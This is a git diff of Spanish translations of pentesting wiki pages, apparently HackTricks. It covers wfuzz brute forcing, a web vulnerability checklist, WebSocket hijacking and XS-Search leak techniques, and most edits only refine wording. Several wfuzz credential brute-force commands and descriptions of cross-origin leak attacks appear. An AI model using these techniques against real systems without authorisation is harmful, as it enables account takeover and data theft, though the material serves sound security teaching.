-- El atacante ahora tiene dos UUID generados cerca en el tiempo (\`99874128\` y \`998796b4\`). Dada la naturaleza secuencial de los UUID basados en el tiempo, el UUID para la cuenta de la víctima probablemente caerá entre estos dos valores.
+- El atacante ahora tiene dos UUID generados cerca en el tiempo (\`99874128\` y \`998796b4\`). Dada la naturaleza secuencial de los UUID basados en el tiempo, es probable que el UUID para la cuenta de la víctima caiga entre estos dos valores.
 
 4. **Ataque de Fuerza Bruta:**
 
diff --git a/src/pentesting-web/web-tool-wfuzz.md b/src/pentesting-web/web-tool-wfuzz.md
index f8fefddfb..82c3dde19 100644
--- a/src/pentesting-web/web-tool-wfuzz.md
+++ b/src/pentesting-web/web-tool-wfuzz.md
@@ -62,7 +62,7 @@ wfuzz.py -c -z file,users.txt -z file,pass.txt --sc 200 -d "name=FUZZ&password=F
 ```bash
 wfuzz -c -w users.txt -w pass.txt --ss "Welcome " -p 127.0.0.1:8080:HTTP -b "PHPSESSIONID=1234567890abcdef;customcookie=hey" "http://example.com/index.php?username=FUZZ&password=FUZ2Z&action=sign+in"
 ```
-### Fuerza bruta de directorio/RESTful
+### Fuerza bruta de directorios/Fuerza bruta RESTful
 
 [Lista de palabras de parámetros de Arjun](https://raw.githubusercontent.com/s0md3v/Arjun/master/arjun/db/params.txt)
 ```
@@ -74,7 +74,7 @@ wfuzz -c -w ~/git/Arjun/db/params.txt --hw 11 'http://example.com/path%3BFUZZ=FU
 ```
 ### Autenticación de Encabezado
 
-#### **Básica, 2 listas, cadena de filtro (mostrar), proxy**
+#### **Básica, 2 listas, filtrar cadena (mostrar), proxy**
 ```bash
 wfuzz -c -w users.txt -w pass.txt -p 127.0.0.1:8080:HTTP --ss "Welcome" --basic FUZZ:FUZ2Z "http://example.com/index.php"
 ```
diff --git a/src/pentesting-web/web-vulnerabilities-methodology.md b/src/pentesting-web/web-vulnerabilities-methodology.md
index cc7229b93..d7af885b8 100644
--- a/src/pentesting-web/web-vulnerabilities-methodology.md
+++ b/src/pentesting-web/web-vulnerabilities-methodology.md
@@ -7,7 +7,7 @@ En cada Pentest Web, hay **varios lugares ocultos y obvios que podrían ser vuln
 ## Proxies
 
 > [!NOTE]
-> Hoy en día, las **aplicaciones** **web** suelen **utilizar** algún tipo de **proxies** **intermediarios**, que pueden ser (mal) utilizados para explotar vulnerabilidades. Estas vulnerabilidades necesitan que un proxy vulnerable esté en su lugar, pero generalmente también requieren alguna vulnerabilidad adicional en el backend.
+> Hoy en día, las **aplicaciones** **web** suelen **utilizar** algún tipo de **proxies** **intermediarios**, que pueden ser (mal) utilizados para explotar vulnerabilidades. Estas vulnerabilidades necesitan que haya un proxy vulnerable, pero generalmente también requieren alguna vulnerabilidad adicional en el backend.
 
 - [ ] [**Abuso de encabezados hop-by-hop**](abusing-hop-by-hop-headers.md)
 - [ ] [**Envenenamiento de caché/Decepción de caché**](cache-deception/)
@@ -74,7 +74,7 @@ Cuando un websocket publica un mensaje o un formulario que permite a los usuario
 Dependiendo de los encabezados HTTP proporcionados por el servidor web, algunas vulnerabilidades podrían estar presentes.
 
 - [ ] [**Clickjacking**](clickjacking.md)
-- [ ] [**Bypass de Política de Seguridad de Contenido**](content-security-policy-csp-bypass/)
+- [ ] [**Bypass de Política de Seguridad de Contenidos**](content-security-policy-csp-bypass/)
 - [ ] [**Hacking de Cookies**](hacking-with-cookies/)
 - [ ] [**CORS - Configuraciones Incorrectas y Bypass**](cors-bypass.md)
 
diff --git a/src/pentesting-web/web-vulnerabilities-methodology/README.md b/src/pentesting-web/web-vulnerabilities-methodology/README.md
index de0da97d4..1247f6f51 100644
--- a/src/pentesting-web/web-vulnerabilities-methodology/README.md
+++ b/src/pentesting-web/web-vulnerabilities-methodology/README.md
@@ -7,16 +7,16 @@ En cada Pentest Web, hay **varios lugares ocultos y obvios que podrían ser vuln
 ## Proxies
 
 > [!NOTE]
-> Hoy en día, las **aplicaciones** **web** suelen **utilizar** algún tipo de **proxies** **intermediarios**, que pueden ser (mal) utilizados para explotar vulnerabilidades. Estas vulnerabilidades necesitan que un proxy vulnerable esté en su lugar, pero generalmente también requieren alguna vulnerabilidad adicional en el backend.
+> Hoy en día, las **aplicaciones** **web** suelen **utilizar** algún tipo de **proxies** **intermediarios**, que pueden ser (mal) utilizados para explotar vulnerabilidades. Estas vulnerabilidades necesitan que haya un proxy vulnerable, pero generalmente también requieren alguna vulnerabilidad adicional en el backend.
 
-- [ ] [**Abuso de encabezados hop-by-hop**](../abusing-hop-by-hop-headers.md)
-- [ ] [**Envenenamiento de caché/Decepción de caché**](../cache-deception.md)
+- [ ] [**Abusing hop-by-hop headers**](../abusing-hop-by-hop-headers.md)
+- [ ] [**Cache Poisoning/Cache Deception**](../cache-deception.md)
 - [ ] [**HTTP Request Smuggling**](../http-request-smuggling/)
 - [ ] [**H2C Smuggling**](../h2c-smuggling.md)
-- [ ] [**Inclusión del lado del servidor/Inyección del lado de la frontera**](../server-side-inclusion-edge-side-inclusion-injection.md)
-- [ ] [**Descubriendo Cloudflare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
-- [ ] [**Inyección del lado del servidor XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
-- [ ] [**Bypass de Protecciones Proxy / WAF**](../proxy-waf-protections-bypass.md)
+- [ ] [**Server Side Inclusion/Edge Side Inclusion**](../server-side-inclusion-edge-side-inclusion-injection.md)
+- [ ] [**Uncovering Cloudflare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
+- [ ] [**XSLT Server Side Injection**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
+- [ ] [**Proxy / WAF Protections Bypass**](../proxy-waf-protections-bypass.md)
 
 ## **Entrada del usuario**
 
@@ -28,18 +28,18 @@ En cada Pentest Web, hay **varios lugares ocultos y obvios que podrían ser vuln
 
 Si los datos introducidos pueden reflejarse de alguna manera en la respuesta, la página podría ser vulnerable a varios problemas.
 
-- [ ] [**Inyección de Plantillas del Lado del Cliente**](../client-side-template-injection-csti.md)
-- [ ] [**Inyección de Comandos**](../command-injection.md)
+- [ ] [**Client Side Template Injection**](../client-side-template-injection-csti.md)
+- [ ] [**Command Injection**](../command-injection.md)
 - [ ] [**CRLF**](../crlf-0d-0a.md)
-- [ ] [**Markup Colgante**](../dangling-markup-html-scriptless-injection/)
-- [ ] [**Inclusión de Archivos/Recorrido de Rutas**](../file-inclusion/)
-- [ ] [**Redirección Abierta**](../open-redirect.md)
-- [ ] [**Contaminación de Prototipos a XSS**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
-- [ ] [**Inclusión del lado del servidor/Inyección del lado de la frontera**](../server-side-inclusion-edge-side-inclusion-injection.md)
-- [ ] [**Falsificación de Solicitudes del Lado del Servidor**](../ssrf-server-side-request-forgery/)
-- [ ] [**Inyección de Plantillas del Lado del Servidor**](../ssti-server-side-template-injection/)
+- [ ] [**Dangling Markup**](../dangling-markup-html-scriptless-injection/)
+- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/)
+- [ ] [**Open Redirect**](../open-redirect.md)
+- [ ] [**Prototype Pollution to XSS**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
+- [ ] [**Server Side Inclusion/Edge Side Inclusion**](../server-side-inclusion-edge-side-inclusion-injection.md)
+- [ ] [**Server Side Request Forgery**](../ssrf-server-side-request-forgery/)
+- [ ] [**Server Side Template Injection**](../ssti-server-side-template-injection/)
 - [ ] [**Reverse Tab Nabbing**](../reverse-tab-nabbing.md)
-- [ ] [**Inyección del lado del servidor XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
+- [ ] [**XSLT Server Side Injection**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
 - [ ] [**XSS**](../xss-cross-site-scripting/)
 - [ ] [**XSSI**](../xssi-cross-site-script-inclusion.md)
 - [ ] [**XS-Search**](../xs-search.md)
@@ -54,52 +54,52 @@ Algunas de las vulnerabilidades mencionadas requieren condiciones especiales, ot
 
 Si la funcionalidad puede ser utilizada para buscar algún tipo de datos dentro del backend, tal vez puedas (mal) utilizarla para buscar datos arbitrarios.
 
-- [ ] [**Inclusión de Archivos/Recorrido de Rutas**](../file-inclusion/)
-- [ ] [**Inyección NoSQL**](../nosql-injection.md)
-- [ ] [**Inyección LDAP**](../ldap-injection.md)
+- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/)
+- [ ] [**NoSQL Injection**](../nosql-injection.md)
+- [ ] [**LDAP Injection**](../ldap-injection.md)
 - [ ] [**ReDoS**](../regular-expression-denial-of-service-redos.md)
-- [ ] [**Inyección SQL**](../sql-injection/)
-- [ ] [**Inyección XPATH**](../xpath-injection.md)
+- [ ] [**SQL Injection**](../sql-injection/)
+- [ ] [**XPATH Injection**](../xpath-injection.md)
 
 ### **Formularios, WebSockets y PostMsgs**
 
 Cuando un websocket publica un mensaje o un formulario que permite a los usuarios realizar acciones, pueden surgir vulnerabilidades.
 
-- [ ] [**Falsificación de Solicitudes entre Sitios**](../csrf-cross-site-request-forgery.md)
-- [ ] [**Secuestro de WebSocket entre sitios (CSWSH)**](../websocket-attacks.md)
-- [ ] [**Vulnerabilidades de PostMessage**](../postmessage-vulnerabilities/)
+- [ ] [**Cross Site Request Forgery**](../csrf-cross-site-request-forgery.md)
+- [ ] [**Cross-site WebSocket hijacking (CSWSH)**](../websocket-attacks.md)
+- [ ] [**PostMessage Vulnerabilities**](../postmessage-vulnerabilities/)
 
 ### **Encabezados HTTP**
 
 Dependiendo de los encabezados HTTP proporcionados por el servidor web, algunas vulnerabilidades podrían estar presentes.
 
 - [ ] [**Clickjacking**](../clickjacking.md)
-- [ ] [**Bypass de Política de Seguridad de Contenido**](../content-security-policy-csp-bypass/)
-- [ ] [**Hacking de Cookies**](../hacking-with-cookies/)
-- [ ] [**CORS - Configuraciones Incorrectas y Bypass**](../cors-bypass.md)
+- [ ] [**Content Security Policy bypass**](../content-security-policy-csp-bypass/)
+- [ ] [**Cookies Hacking**](../hacking-with-cookies/)
+- [ ] [**CORS - Misconfigurations & Bypass**](../cors-bypass.md)
 
 ### **Bypasses**
 
 Hay varias funcionalidades específicas donde algunos métodos alternativos podrían ser útiles para eludirlas.
 
-- [ ] [**Bypass de 2FA/OTP**](../2fa-bypass.md)
-- [ ] [**Bypass del Proceso de Pago**](../bypass-payment-process.md)
-- [ ] [**Bypass de Captcha**](../captcha-bypass.md)
-- [ ] [**Bypass de Inicio de Sesión**](../login-bypass/)
-- [ ] [**Condición de Carrera**](../race-condition.md)
-- [ ] [**Bypass de Límite de Tasa**](../rate-limit-bypass.md)
-- [ ] [**Bypass de Restablecimiento de Contraseña Olvidada**](../reset-password.md)
-- [ ] [**Vulnerabilidades de Registro**](../registration-vulnerabilities.md)
+- [ ] [**2FA/OTP Bypass**](../2fa-bypass.md)
+- [ ] [**Bypass Payment Process**](../bypass-payment-process.md)
+- [ ] [**Captcha Bypass**](../captcha-bypass.md)
+- [ ] [**Login Bypass**](../login-bypass/)
+- [ ] [**Race Condition**](../race-condition.md)
+- [ ] [**Rate Limit Bypass**](../rate-limit-bypass.md)
+- [ ] [**Reset Forgotten Password Bypass**](../reset-password.md)
+- [ ] [**Registration Vulnerabilities**](../registration-vulnerabilities.md)
 
-### **Objetos Estructurados / Funcionalidades Específicas**
+### **Objetos estructurados / Funcionalidades específicas**
 
 Algunas funcionalidades requerirán que los **datos estén estructurados en un formato muy específico** (como un objeto serializado de lenguaje o XML). Por lo tanto, es más fácil identificar si la aplicación podría ser vulnerable, ya que necesita procesar ese tipo de datos.\
-Algunas **funcionalidades específicas** también pueden ser vulnerables si se utiliza un **formato específico de entrada** (como Inyecciones de Encabezados de Correo Electrónico).
+Algunas **funcionalidades específicas** también pueden ser vulnerables si se utiliza un **formato específico de entrada** (como Inyecciones de Encabezado de Correo Electrónico).
 
-- [ ] [**Deserialización**](../deserialization/)
-- [ ] [**Inyección de Encabezados de Correo Electrónico**](../email-injections.md)
-- [ ] [**Vulnerabilidades de JWT**](../hacking-jwt-json-web-tokens.md)
-- [ ] [**Entidad Externa XML**](../xxe-xee-xml-external-entity.md)
+- [ ] [**Deserialization**](../deserialization/)
+- [ ] [**Email Header Injection**](../email-injections.md)
+- [ ] [**JWT Vulnerabilities**](../hacking-jwt-json-web-tokens.md)
+- [ ] [**XML External Entity**](../xxe-xee-xml-external-entity.md)
 
 ### Archivos
 
@@ -107,23 +107,23 @@ Las funcionalidades que permiten subir archivos podrían ser vulnerables a vario
 Las funcionalidades que generan archivos incluyendo la entrada del usuario podrían ejecutar código inesperado.\
 Los usuarios que abren archivos subidos por otros usuarios o generados automáticamente que incluyen la entrada del usuario podrían verse comprometidos.
 
-- [ ] [**Subida de Archivos**](../file-upload/)
-- [ ] [**Inyección de Fórmulas**](../formula-csv-doc-latex-ghostscript-injection.md)
-- [ ] [**Inyección de PDF**](../xss-cross-site-scripting/pdf-injection.md)
-- [ ] [**XSS del lado del servidor**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
+- [ ] [**File Upload**](../file-upload/)
+- [ ] [**Formula Injection**](../formula-csv-doc-latex-ghostscript-injection.md)
+- [ ] [**PDF Injection**](../xss-cross-site-scripting/pdf-injection.md)
+- [ ] [**Server Side XSS**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
 
 ### **Gestión de Identidad Externa**
 
-- [ ] [**OAUTH para Toma de Cuenta**](../oauth-to-account-takeover.md)
-- [ ] [**Ataques SAML**](../saml-attacks/)
+- [ ] [**OAUTH to Account takeover**](../oauth-to-account-takeover.md)
+- [ ] [**SAML Attacks**](../saml-attacks/)
 
 ### **Otras Vulnerabilidades Útiles**
 
 Estas vulnerabilidades podrían ayudar a explotar otras vulnerabilidades.
 
-- [ ] [**Toma de Dominio/Subdominio**](../domain-subdomain-takeover.md)
+- [ ] [**Domain/Subdomain takeover**](../domain-subdomain-takeover.md)
 - [ ] [**IDOR**](../idor.md)
-- [ ] [**Contaminación de Parámetros**](../parameter-pollution.md)
-- [ ] [**Vulnerabilidad de Normalización Unicode**](../unicode-injection/)
+- [ ] [**Parameter Pollution**](../parameter-pollution.md)
+- [ ] [**Unicode Normalization vulnerability**](../unicode-injection/)
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/websocket-attacks.md b/src/pentesting-web/websocket-attacks.md
index 162ca7d30..465730f0f 100644
--- a/src/pentesting-web/websocket-attacks.md
+++ b/src/pentesting-web/websocket-attacks.md
@@ -1,14 +1,14 @@
-# WebSocket Attacks
+# Ataques de WebSocket
 
 {{#include ../banners/hacktricks-training.md}}
 
-## Qué son los WebSockets
+## ¿Qué son los WebSockets?
 
-Las conexiones WebSocket se establecen a través de un **HTTP** handshake inicial y están diseñadas para ser **de larga duración**, permitiendo la mensajería bidireccional en cualquier momento sin la necesidad de un sistema transaccional. Esto hace que los WebSockets sean particularmente ventajosos para aplicaciones que requieren **baja latencia o comunicación iniciada por el servidor**, como flujos de datos financieros en vivo.
+Las conexiones WebSocket se establecen a través de un **handshake HTTP** inicial y están diseñadas para ser **de larga duración**, permitiendo la mensajería bidireccional en cualquier momento sin la necesidad de un sistema transaccional. Esto hace que los WebSockets sean particularmente ventajosos para aplicaciones que requieren **baja latencia o comunicación iniciada por el servidor**, como flujos de datos financieros en vivo.
 
 ### Establecimiento de Conexiones WebSocket
 
-Una explicación detallada sobre el establecimiento de conexiones WebSocket se puede acceder [**aquí**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc). En resumen, las conexiones WebSocket generalmente se inician a través de JavaScript del lado del cliente, como se muestra a continuación:
+Una explicación detallada sobre el establecimiento de conexiones WebSocket se puede acceder [**aquí**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc). En resumen, las conexiones WebSocket suelen ser iniciadas a través de JavaScript del lado del cliente, como se muestra a continuación:
 ```javascript
 var ws = new WebSocket("wss://normal-website.com/ws")
 ```
@@ -68,7 +68,7 @@ Puedes usar la **herramienta** [**https://github.com/PalindromeLabs/STEWS**](htt
 ### Herramientas de depuración de Websocket
 
 - **Burp Suite** soporta la comunicación de websockets MitM de una manera muy similar a como lo hace para la comunicación HTTP regular.
-- La **extensión de Burp Suite** [**socketsleuth**](https://github.com/snyk/socketsleuth) **te permitirá gestionar mejor las comunicaciones de Websocket en Burp al obtener el **historial**, establecer **reglas de interceptación**, usar reglas de **coincidencia y reemplazo**, usar **Intruder** y **AutoRepeater.**
+- La **extensión de Burp Suite** [**socketsleuth**](https://github.com/snyk/socketsleuth) **te permitirá gestionar mejor las comunicaciones de Websocket en Burp al obtener el** **historial**, establecer **reglas de interceptación**, usar reglas de **coincidencia y reemplazo**, usar **Intruder** y **AutoRepeater.**
 - [**WSSiP**](https://github.com/nccgroup/wssip)**:** Abreviatura de "**WebSocket/Socket.io Proxy**", esta herramienta, escrita en Node.js, proporciona una interfaz de usuario para **capturar, interceptar, enviar mensajes personalizados** y ver todas las comunicaciones de WebSocket y Socket.IO entre el cliente y el servidor.
 - [**wsrepl**](https://github.com/doyensec/wsrepl) es un **REPL de websocket interactivo** diseñado específicamente para pruebas de penetración. Proporciona una interfaz para observar **mensajes de websocket entrantes y enviar nuevos**, con un marco fácil de usar para **automatizar** esta comunicación.&#x20;
 - [**https://websocketking.com/**](https://websocketking.com/) es un **sitio web para comunicarse** con otros sitios usando **websockets**.
@@ -82,7 +82,7 @@ En [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Bur
 
 El **secuestro de WebSocket entre sitios**, también conocido como **secuestro de WebSocket de origen cruzado**, se identifica como un caso específico de **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** que afecta a los handshakes de WebSocket. Esta vulnerabilidad surge cuando los handshakes de WebSocket se autentican únicamente a través de **cookies HTTP** sin **tokens CSRF** o medidas de seguridad similares.
 
-Los atacantes pueden explotar esto al alojar una **página web maliciosa** que inicia una conexión de WebSocket entre sitios a una aplicación vulnerable. En consecuencia, esta conexión se trata como parte de la sesión de la víctima con la aplicación, aprovechando la falta de protección CSRF en el mecanismo de manejo de sesiones.
+Los atacantes pueden explotar esto al alojar una **página web maliciosa** que inicia una conexión de WebSocket entre sitios a una aplicación vulnerable. En consecuencia, esta conexión se trata como parte de la sesión del víctima con la aplicación, aprovechando la falta de protección CSRF en el mecanismo de manejo de sesiones.
 
 ### Ataque Simple
 
@@ -136,7 +136,7 @@ sudo python3 -m http.server 80
 ```
 ## Condiciones de carrera
 
-Las Condiciones de carrera en WebSockets también son un tema, [consulta esta información para aprender más](race-condition.md#rc-in-websockets).
+Las Condiciones de carrera en WebSockets también son un problema, [consulta esta información para aprender más](race-condition.md#rc-in-websockets).
 
 ## Otras vulnerabilidades
 
@@ -144,7 +144,7 @@ Dado que los Web Sockets son un mecanismo para **enviar datos al lado del servid
 
 ## **WebSocket Smuggling**
 
-Esta vulnerabilidad podría permitirte **eludir las restricciones de proxies inversos** haciéndoles creer que se **estableció una comunicación websocket** (incluso si no es cierto). Esto podría permitir a un atacante **acceder a endpoints ocultos**. Para más información, consulta la siguiente página:
+Esta vulnerabilidad podría permitirte **eludir las restricciones de proxies inversos** haciéndoles creer que se **estableció una comunicación websocket** (incluso si no es cierto). Esto podría permitir a un atacante **acceder a puntos finales ocultos**. Para más información, consulta la siguiente página:
 
 {{#ref}}
 h2c-smuggling.md
diff --git a/src/pentesting-web/xpath-injection.md b/src/pentesting-web/xpath-injection.md
index 285795a16..6b5bb6e18 100644
--- a/src/pentesting-web/xpath-injection.md
+++ b/src/pentesting-web/xpath-injection.md
@@ -22,7 +22,7 @@ Las expresiones se utilizan para seleccionar varios nodos en un documento XML. E
 Ejemplos de expresiones de ruta y sus resultados incluyen:
 
 - **bookstore**: Se seleccionan todos los nodos llamados "bookstore".
-- **/bookstore**: Se selecciona el elemento raíz bookstore. Se observa que una ruta absoluta a un elemento está representada por una ruta que comienza con una barra (/).
+- **/bookstore**: Se selecciona el elemento raíz bookstore. Se observa que una ruta absoluta a un elemento se representa con una ruta que comienza con una barra (/).
 - **bookstore/book**: Se seleccionan todos los elementos book que son hijos de bookstore.
 - **//book**: Se seleccionan todos los elementos book en el documento, independientemente de su ubicación.
 - **bookstore//book**: Se seleccionan todos los elementos book que son descendientes del elemento bookstore, sin importar su posición bajo el elemento bookstore.
diff --git a/src/pentesting-web/xs-search.md b/src/pentesting-web/xs-search.md
index b9d2336c1..608f44890 100644
--- a/src/pentesting-web/xs-search.md
+++ b/src/pentesting-web/xs-search.md
@@ -28,9 +28,9 @@ Varios aspectos pueden ser analizados para diferenciar los estados de la Web Vul
 
 ### Métodos de Inclusión
 
-- **Elementos HTML**: HTML ofrece varios elementos para **inclusión de recursos de origen cruzado**, como hojas de estilo, imágenes o scripts, obligando al navegador a solicitar un recurso no HTML. Se puede encontrar una compilación de elementos HTML potenciales para este propósito en [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks).
+- **Elementos HTML**: HTML ofrece varios elementos para **inclusión de recursos de origen cruzado**, como hojas de estilo, imágenes o scripts, obligando al navegador a solicitar un recurso que no sea HTML. Se puede encontrar una compilación de elementos HTML potenciales para este propósito en [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks).
 - **Marcos**: Elementos como **iframe**, **object** y **embed** pueden incrustar recursos HTML directamente en la página del atacante. Si la página **carece de protección de enmarcado**, JavaScript puede acceder al objeto de ventana del recurso enmarcado a través de la propiedad contentWindow.
-- **Ventanas Emergentes**: El método **`window.open`** abre un recurso en una nueva pestaña o ventana, proporcionando un **manejador de ventana** para que JavaScript interactúe con métodos y propiedades siguiendo el SOP. Las ventanas emergentes, a menudo utilizadas en el inicio de sesión único, eluden las restricciones de enmarcado y cookies de un recurso objetivo. Sin embargo, los navegadores modernos restringen la creación de ventanas emergentes a ciertas acciones del usuario.
+- **Ventanas emergentes**: El método **`window.open`** abre un recurso en una nueva pestaña o ventana, proporcionando un **manejador de ventana** para que JavaScript interactúe con métodos y propiedades siguiendo el SOP. Las ventanas emergentes, a menudo utilizadas en inicio de sesión único, eluden las restricciones de enmarcado y cookies de un recurso objetivo. Sin embargo, los navegadores modernos restringen la creación de ventanas emergentes a ciertas acciones del usuario.
 - **Solicitudes de JavaScript**: JavaScript permite solicitudes directas a recursos objetivo utilizando **XMLHttpRequests** o la **Fetch API**. Estos métodos ofrecen un control preciso sobre la solicitud, como optar por seguir redirecciones HTTP.
 
 ### Técnicas de Filtración
@@ -65,7 +65,7 @@ Para más información: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks]
 
 - **Métodos de Inclusión**: Marcos, Elementos HTML
 - **Diferencia Detectable**: Código de Estado
-- **Más info**: [https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu), [https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/)
+- **Más información**: [https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu), [https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/)
 - **Resumen**: si se intenta cargar un recurso, se activan eventos onerror/onload cuando el recurso se carga con éxito/sin éxito, es posible averiguar el código de estado.
 - **Ejemplo de código**: [https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)](<https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)>)
 
@@ -105,7 +105,7 @@ xs-search/performance.now-+-force-heavy-task.md
 
 ### Tiempo de unload/beforeunload
 
-- **Métodos de Inclusión**: Frames
+- **Métodos de Inclusión**: Marcos
 - **Diferencia Detectable**: Tiempo (generalmente debido al Contenido de la Página, Código de Estado)
 - **Más info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
 - **Resumen:** El [reloj SharedArrayBuffer](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers) se puede usar para medir cuánto tiempo toma realizar una solicitud. Se podrían usar otros relojes.
@@ -113,15 +113,15 @@ xs-search/performance.now-+-force-heavy-task.md
 
 El tiempo tomado para obtener un recurso se puede medir utilizando los eventos [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload_event) y [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload_event). El evento **`beforeunload`** se activa cuando el navegador está a punto de navegar a una nueva página, mientras que el evento **`unload`** ocurre cuando la navegación está realmente teniendo lugar. La diferencia de tiempo entre estos dos eventos se puede calcular para determinar la **duración que el navegador pasó obteniendo el recurso**.
 
-### Tiempo de Frame Aislado + onload <a href="#sandboxed-frame-timing-attacks" id="sandboxed-frame-timing-attacks"></a>
+### Tiempo de Marco Aislado + onload <a href="#sandboxed-frame-timing-attacks" id="sandboxed-frame-timing-attacks"></a>
 
-- **Métodos de Inclusión**: Frames
+- **Métodos de Inclusión**: Marcos
 - **Diferencia Detectable**: Tiempo (generalmente debido al Contenido de la Página, Código de Estado)
 - **Más info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
 - **Resumen:** La [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) API se puede usar para medir cuánto tiempo toma realizar una solicitud. Se podrían usar otros relojes.
 - **Ejemplo de Código**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
 
-Se ha observado que en ausencia de [Protecciones de Framing](https://xsleaks.dev/docs/defenses/opt-in/xfo/), el tiempo requerido para que una página y sus subrecursos se carguen a través de la red puede ser medido por un atacante. Esta medición es típicamente posible porque el controlador `onload` de un iframe se activa solo después de la finalización de la carga de recursos y la ejecución de JavaScript. Para eludir la variabilidad introducida por la ejecución de scripts, un atacante podría emplear el atributo [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) dentro del `<iframe>`. La inclusión de este atributo restringe numerosas funcionalidades, notablemente la ejecución de JavaScript, facilitando así una medición que está predominantemente influenciada por el rendimiento de la red.
+Se ha observado que en ausencia de [Protecciones de Enmarcado](https://xsleaks.dev/docs/defenses/opt-in/xfo/), el tiempo requerido para que una página y sus subrecursos se carguen a través de la red puede ser medido por un atacante. Esta medición es típicamente posible porque el controlador `onload` de un iframe se activa solo después de la finalización de la carga de recursos y la ejecución de JavaScript. Para eludir la variabilidad introducida por la ejecución de scripts, un atacante podría emplear el atributo [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) dentro del `<iframe>`. La inclusión de este atributo restringe numerosas funcionalidades, notablemente la ejecución de JavaScript, facilitando así una medición que está predominantemente influenciada por el rendimiento de la red.
 ```javascript
 // Example of an iframe with the sandbox attribute
 <iframe src="example.html" sandbox></iframe>
@@ -129,7 +129,7 @@ Se ha observado que en ausencia de [Protecciones de Framing](https://xsleaks.dev
 ### #ID + error + onload
 
 - **Inclusion Methods**: Frames
-- **Detectable Difference**: Contenido de la Página
+- **Detectable Difference**: Contenido de la página
 - **More info**:
 - **Summary**: Si puedes hacer que la página dé un error cuando se accede al contenido correcto y hacer que se cargue correctamente cuando se accede a cualquier contenido, entonces puedes hacer un bucle para extraer toda la información sin medir el tiempo.
 - **Code Example**:
@@ -147,12 +147,12 @@ Si la primera URL se **cargó correctamente**, entonces, al **cambiar** la parte
 
 Entonces, puedes **distinguir entre** una página **cargada correctamente** o una página que tiene un **error** al ser accedida.
 
-### Javascript Execution
+### Ejecución de Javascript
 
 - **Inclusion Methods**: Frames
-- **Detectable Difference**: Contenido de la Página
+- **Detectable Difference**: Contenido de la página
 - **More info**:
-- **Summary:** Si la **página** está **devolviendo** el contenido **sensible**, **o** un **contenido** que puede ser **controlado** por el usuario. El usuario podría establecer **código JS válido en el caso negativo**, un **cargar** cada intento dentro de **`<script>`** etiquetas, así que en **casos negativos** el **código** de los atacantes se **ejecuta**, y en **casos afirmativos** **nada** se ejecutará.
+- **Summary:** Si la **página** está **devolviendo** el contenido **sensible**, **o** un **contenido** que puede ser **controlado** por el usuario. El usuario podría establecer **código JS válido en el caso negativo**, y **cargar** cada intento dentro de **`<script>`** etiquetas, así en **casos negativos** el **código** de los atacantes se **ejecuta**, y en **casos afirmativos** **nada** se ejecutará.
 - **Code Example:**
 
 {{#ref}}
@@ -162,9 +162,9 @@ xs-search/javascript-execution-xs-leak.md
 ### CORB - Onerror
 
 - **Inclusion Methods**: HTML Elements
-- **Detectable Difference**: Código de Estado y Encabezados
+- **Detectable Difference**: Código de estado y encabezados
 - **More info**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/)
-- **Summary**: **Cross-Origin Read Blocking (CORB)** es una medida de seguridad que previene que las páginas web carguen ciertos recursos sensibles de origen cruzado para protegerse contra ataques como **Spectre**. Sin embargo, los atacantes pueden explotar su comportamiento protector. Cuando una respuesta sujeta a **CORB** devuelve un `Content-Type` _**protegido por CORB**_ con `nosniff` y un código de estado `2xx`, **CORB** elimina el cuerpo y los encabezados de la respuesta. Los atacantes que observan esto pueden inferir la combinación del **código de estado** (indicando éxito o error) y el `Content-Type` (denotando si está protegido por **CORB**), lo que lleva a una posible fuga de información.
